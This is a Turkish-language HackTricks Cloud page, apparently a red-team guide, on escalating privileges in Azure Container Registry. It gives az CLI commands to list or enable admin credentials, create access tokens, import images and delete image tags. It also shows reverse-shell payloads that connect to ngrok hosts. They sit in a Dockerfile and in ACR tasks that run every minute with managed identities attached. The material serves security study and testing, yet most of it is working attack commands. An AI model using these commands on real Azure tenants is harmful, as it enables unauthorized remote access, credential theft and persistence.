Az - Azure Container Registry Privesc
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Azure Container Registry
Daha fazla bilgi için kontrol edin:
Microsoft.ContainerRegistry/registries/listCredentials/action
Bu izin, kullanıcının ACR’nin yönetici kimlik bilgilerini listelemesine olanak tanır. Bu, kayıt defteri üzerinde tam erişim elde etmek için faydalıdır.
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"
Eğer admin kimlik bilgileri etkin değilse, bunları etkinleştirmek için Microsoft.ContainerRegistry/registries/write iznine de ihtiyacınız olacak:
az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'
Microsoft.ContainerRegistry/registries/tokens/write, Microsoft.ContainerRegistry/registries/generateCredentials/action
Bu izinler, kullanıcının kayıt defterine erişmek için şifrelerle yeni bir token oluşturmasına olanak tanır.
Aşağıdaki örnekte olduğu gibi az cli kullanarak bunu oluşturmak için ayrıca Microsoft.ContainerRegistry/registries/read, Microsoft.ContainerRegistry/registries/scopeMaps/read, Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read, Microsoft.ContainerRegistry/registries/tokens/read izinlerine de ihtiyacınız olacak.
az acr token create \
--registry <registry-name> \
--name <token-name> \
--scope-map _repositories_admin
Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action, Microsoft.ContainerRegistry/registries/scheduleRun/action, Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action
Bu izinler, kullanıcının kayıt defterinde bir görüntü oluşturmasına ve çalıştırmasına olanak tanır. Bu, konteynerde kod çalıştırmak için kullanılabilir.
Warning
Ancak, görüntü sandbox ortamında ve metadata hizmetine erişim olmadan çalıştırılacaktır. Bu, konteynerin örnek metadata’sına erişimi olmayacağı anlamına gelir, bu nedenle bu, ayrıcalıkları yükseltmek için gerçekten faydalı değildir.
# Build
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null
Microsoft.ContainerRegistry/registries/tasks/write
Bu, kayıt defterinde bir görev oluşturma ve güncelleme izni veren ana izindir. Bu, buna bağlı bir yönetilen kimlik ile bir konteyner içinde bir kodu çalıştırmak için kullanılabilir.
Bu, sistem yönetilen kimliği ile bir konteynerde bir ters shell çalıştırmanın bir örneğidir:
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
Bir görevi dış bir depo kullanmadan RCE elde etmenin başka bir yolu, az acr task create komutunu --cmd bayrağı ile kullanmaktır. Bu, konteynerde bir komut çalıştırmanıza olanak tanır. Örneğin, aşağıdaki komutla bir ters shell çalıştırabilirsiniz:
az acr task create \
--registry <registry-name> \
--name reverse-shell-task-cmd \
--image rev/shell2:v1 \
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
--schedule "*/1 * * * *" \
--context /dev/null \
--commit-trigger-enabled false \
--assign-identity
Tip
Sistem yönetilen kimliğini atamak için özel bir izne ihtiyacınız olmadığını unutmayın, ancak bunun önce kayıt defterinde etkinleştirilmiş ve kullanışlı olması için bazı izinler atanmış olması gerekir.
Ayrıca bir kullanıcı yönetilen kimliği atamak için Microsoft.ManagedIdentity/userAssignedIdentities/assign/action iznine ihtiyacınız olacaktır:
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
Mevcut bir görevin reposunu güncellemek için şunları yapabilirsiniz:
az acr task update \
--registry <registry-name> \
--name reverse-shell-task \
--context https://github.com/your-user/your-repo.git
Microsoft.ContainerRegistry/registries/importImage/action
Bu izinle, görüntüyü azure kayıt defterine içe aktarmak mümkündür, hatta görüntü yerel olarak mevcut olmasa bile. Ancak, kayıt defterinde zaten mevcut olan bir etiketle görüntü içe aktaramayacağınızı unutmayın.
# Push with az cli
az acr import \
--name <registry-name> \
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import
Belirli bir görüntü etiketini etiketini kaldırmak veya silmek için aşağıdaki komutu kullanabilirsiniz. Ancak, bunu yapmak için yeterli izinlere sahip bir kullanıcı veya token’a ihtiyacınız olacağını unutmayın:
az acr repository untag \
--name <registry-name> \
--image <image-name>:<tag>
az acr repository delete \
--name <registry-name> \
--image <image-name>:<tag>
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

